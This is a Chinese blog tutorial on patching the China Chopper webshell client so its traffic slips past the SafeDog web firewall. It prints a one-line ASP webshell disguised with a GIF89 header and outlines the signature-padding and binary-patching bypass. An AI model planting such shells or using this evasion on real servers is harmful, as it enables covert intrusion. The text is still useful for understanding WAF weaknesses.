首發(fā):逆向修改菜刀過(guò)安全狗
引子
文章是去年寫(xiě)的,現(xiàn)在菜刀過(guò)狗也不是很難了,只是做一個(gè)逆向修改菜刀的演示。
環(huán)境:Windows2003
中間件:iis6.0
安全狗版本:安全狗iis枸杞版3.5
菜刀:chopper.exe md5: e2caee9b7844ea06d964ad138d1da1f9
工具:吾愛(ài)破解專(zhuān)用版Ollydbg,LordPE,C32ASM
嘗試
主要是為了繞過(guò)安全狗的一句話(huà)檢測(cè),開(kāi)啟這個(gè)就行了。
在IIS目錄放一句話(huà)木馬。
GIF89
<%eval request("1")%>
最普通的那種,并沒(méi)有各種亂七八糟的變形之類(lèi)的。
通過(guò)瀏覽器訪(fǎng)問(wèn)。
正常的,并沒(méi)有被攔截。添加到菜刀列表,訪(fǎng)問(wèn)試試看。
通過(guò)菜刀訪(fǎng)問(wèn),被安全狗攔截了,打開(kāi)fiddler看看封包。
分析修改
因?yàn)橐郧白鲞^(guò)免殺,所以最早的時(shí)候沒(méi)有各種工具可以定位,我是通過(guò)OD的一半一半法來(lái)定位被查殺的位置。
AAAAAAAAAAAAAAABBAAAAAAAAAAAAAAA
我當(dāng)時(shí)的想法是,能不能運(yùn)用在過(guò)WAF上,先把特征碼對(duì)半,然后慢慢對(duì)被檢測(cè)的補(bǔ)位進(jìn)行定位。
去掉一般的封包重發(fā),還是被攔截,看來(lái)特征在前半段。
已經(jīng)沒(méi)有被攔截的提示,但是程序也是報(bào)錯(cuò)了,畢竟代碼不完整,于是我想到了之前過(guò)安全狗的SQL注入是通過(guò)加很長(zhǎng)很長(zhǎng)的字符,然后就能繞過(guò)SQL注入檢測(cè),那么如果我給這段封包加很長(zhǎng)的字符是不是也可以繞過(guò)。
通過(guò)增加很長(zhǎng)的前綴,就過(guò)掉了安全狗,但是如果我每個(gè)封包都這樣攔截修改是不是太麻煩了。于是我想到了通過(guò)OD修改。
原版的菜刀并沒(méi)有加殼,可以直接修改,打開(kāi)OD查看下字符串。
這個(gè)位置是ASP的原版字符串,通過(guò)這里修改就可以修改他的發(fā)包,但是因?yàn)樾枰黾拥拈L(zhǎng)多比較大,所以原程序并沒(méi)有那么大的空地址段給我寫(xiě),要自己另外增加區(qū)段。
上C32,新建一個(gè)文件,然后把前面的字符加進(jìn)來(lái)。
區(qū)段做好了,然后用PEid把區(qū)段加到程序里。
然后通過(guò)OD修改,字符串偏移位置。
這里是004ab000
保存下文件,然后用fiddler抓包查看是否天然帶我們的字符串。
通過(guò)修改發(fā)包已經(jīng)天然帶字符串,當(dāng)然不止修改一個(gè)地方,要完成ASP完成可用要修改好幾處位置。
總結(jié)
剛開(kāi)始我認(rèn)為這些waf是完美的,后來(lái)我發(fā)現(xiàn),這些防火墻有些類(lèi)似于早點(diǎn)的殺毒軟件,通過(guò)特征庫(kù)來(lái)攔截,只要找對(duì)特征,就可以對(duì)癥下藥,不同品牌的防火墻規(guī)則不同,但是換湯不換藥基本都是這樣的套路,兵來(lái)將敵水來(lái)土堰靠規(guī)則并不靠譜,修改web程序中的漏洞才是關(guān)鍵,過(guò)度依賴(lài)防火墻并不能很好的保護(hù)網(wǎng)站。
jsp與php 版過(guò)防火墻:PyCmd 加密隱形木馬